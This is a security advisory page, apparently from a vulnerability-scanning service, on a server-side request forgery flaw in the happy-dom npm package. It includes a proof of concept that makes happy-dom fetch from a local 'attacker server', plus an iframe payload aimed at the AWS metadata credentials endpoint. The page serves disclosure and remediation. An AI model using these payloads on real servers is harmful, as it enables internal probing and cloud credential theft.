Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
CVE-2026-118660 · GHSA-c8p4-j97h-3vg8 · EUVD-2026-112467 · published 28 Oct 2026
How serious is it
- Severity: high, CVSS score 8.6 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-118660?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
happy-dom(npm) <= 20.14.6
How to check
- Run
npm ls happy-domin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
happy-domto 21.0.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
## Affected Versions
- happy-dom <= 20.8.9 (latest)
## Vulnerable Behavior
By default, happy-dom has:
- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests
- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
## Proof of Concept
### Verified test (attacker server receives requests):
```javascript
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
```
**Test output:**
```
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
```
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
### Cloud metadata attack scenario:
```javascript
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
```
## Impact
- **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata
- **Internal network scanning** — probe internal services and ports
- **Data exfiltration** — read responses from internal APIs
- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input
## Suggested Fix
Change defaults to disable external resource loading:
```javascript
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
```
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8
- github.com/capricorn86/happy-dom/pull/2502
- github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74
- github.com/capricorn86/happy-dom/releases/tag/v21.0.0
- github.com/advisories/GHSA-c8p4-j97h-3vg8
- github.com/capricorn86/happy-dom
Merged from GitHub Advisory Database, OSV, ENISA EUVD. Last updated 29 Oct 2026. All vulnerabilities · RSS · JSON